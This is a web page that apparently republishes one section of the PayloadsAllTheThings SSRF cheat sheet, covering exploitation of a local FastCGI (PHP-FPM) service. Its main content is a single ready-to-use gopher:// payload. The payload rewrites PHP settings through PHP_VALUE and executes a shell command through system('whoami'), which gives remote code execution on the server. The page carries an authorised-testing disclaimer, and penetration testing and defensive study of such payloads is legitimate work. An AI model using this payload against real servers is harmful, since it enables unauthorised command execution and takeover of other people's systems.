Skip to content
BackEsc
Connect AISign inSign up free

Server Side Request Forgery · passage 29 of 53

SSRF-Advanced-Exploitation: FastCGI

1 code block · Server Side Request Forgery/SSRF-Advanced-Exploitation.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Connect AI

Open this passage on GitHub

Requires to know the full path of one PHP file on the server, by default the exploit is using `/usr/share/php/PEAR.php`.

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00

Source: Server Side Request Forgery/SSRF-Advanced-Exploitation.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 53 is a mark on the map. Named now: 27 to 52, reading order first.

  1. SSRF-Advanced-Exploitation: SSRF Advanced Exploitation§ 27text · SSRF-Advanced-Exploitation.md
  2. SSRF-Advanced-Exploitation: DNS AXFR§ 282 code blocks · SSRF-Advanced-Exploitation.md
  3. SSRF-Advanced-Exploitation: FastCGI§ 291 code block · SSRF-Advanced-Exploitation.md
  4. SSRF-Advanced-Exploitation: Memcached§ 301 code block · SSRF-Advanced-Exploitation.md
  5. SSRF-Advanced-Exploitation: MySQL§ 311 code block · SSRF-Advanced-Exploitation.md
  6. SSRF-Advanced-Exploitation: Redis§ 321 code block · SSRF-Advanced-Exploitation.md
  7. SSRF-Advanced-Exploitation: SMTP§ 332 code blocks · SSRF-Advanced-Exploitation.md
  8. SSRF-Advanced-Exploitation: WSGI§ 341 code block · SSRF-Advanced-Exploitation.md
  9. SSRF-Advanced-Exploitation: Zabbix§ 351 code block · SSRF-Advanced-Exploitation.md
  10. SSRF-Cloud-Instances: SSRF URL for Cloud Instances§ 36text · SSRF-Cloud-Instances.md
  11. SSRF-Cloud-Instances: SSRF URL for AWS§ 373 code blocks · SSRF-Cloud-Instances.md
  12. SSRF-Cloud-Instances: SSRF URL for AWS ECS§ 381 code block · SSRF-Cloud-Instances.md
  13. SSRF-Cloud-Instances: SSRF URL for AWS Elastic Beanstalk§ 392 code blocks · SSRF-Cloud-Instances.md
  14. SSRF-Cloud-Instances: SSRF URL for AWS Lambda§ 401 code block · SSRF-Cloud-Instances.md
  15. SSRF-Cloud-Instances: SSRF URL for Google Cloud§ 414 code blocks · SSRF-Cloud-Instances.md
  16. SSRF-Cloud-Instances: Add an SSH key§ 423 code blocks · SSRF-Cloud-Instances.md
  17. SSRF-Cloud-Instances: SSRF URL for Digital Ocean§ 431 code block · SSRF-Cloud-Instances.md
  18. SSRF-Cloud-Instances: SSRF URL for Packetcloud§ 44text · SSRF-Cloud-Instances.md
  19. SSRF-Cloud-Instances: SSRF URL for Azure§ 452 code blocks · SSRF-Cloud-Instances.md
  20. SSRF-Cloud-Instances: SSRF URL for OpenStack/RackSpace§ 461 code block · SSRF-Cloud-Instances.md
  21. SSRF-Cloud-Instances: SSRF URL for HP Helion§ 471 code block · SSRF-Cloud-Instances.md
  22. SSRF-Cloud-Instances: SSRF URL for Oracle Cloud§ 481 code block · SSRF-Cloud-Instances.md
  23. SSRF-Cloud-Instances: SSRF URL for Alibaba§ 491 code block · SSRF-Cloud-Instances.md
  24. SSRF-Cloud-Instances: SSRF URL for Hetzner Cloud§ 501 code block · SSRF-Cloud-Instances.md
  25. SSRF-Cloud-Instances: SSRF URL for Kubernetes ETCD§ 511 code block · SSRF-Cloud-Instances.md
  26. SSRF-Cloud-Instances: SSRF URL for Docker§ 521 code block · SSRF-Cloud-Instances.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.

CyberSIXTSignal over noise
Sign inSign up free

Updated